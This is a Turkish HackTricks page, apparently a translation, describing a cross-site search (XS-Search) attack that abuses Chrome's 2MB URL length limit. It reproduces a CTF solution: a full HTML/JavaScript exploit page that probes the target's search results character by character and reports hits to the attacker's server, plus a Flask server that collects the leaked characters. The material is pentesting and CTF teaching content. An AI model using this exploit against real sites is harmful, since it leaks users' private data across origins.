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hacktricks/pentesting-web/xs-search/url-max-length-client-side.md
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URL Maksimum Uzunluğu - İstemci Tarafı

AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a göz atın!

Kod https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit adresinden alınmıştır.

<html>
<body></body>
<script>
(async () => {

const curr = "http://secrets.wtl.pw/search?query=HackTM{"

const leak = async (char) => {

fetch("/?try=" + char)
let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))

const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}

const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>

Sunucu tarafı:

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
global chars

nope = request.args.get('nope', '')
if nope:
chars.append(nope)

remaining = [c for c in CHARSET if c not in chars]

print("Remaining: {}".format(remaining))

return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
Sıfırdan kahraman olmak için AWS hackleme htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!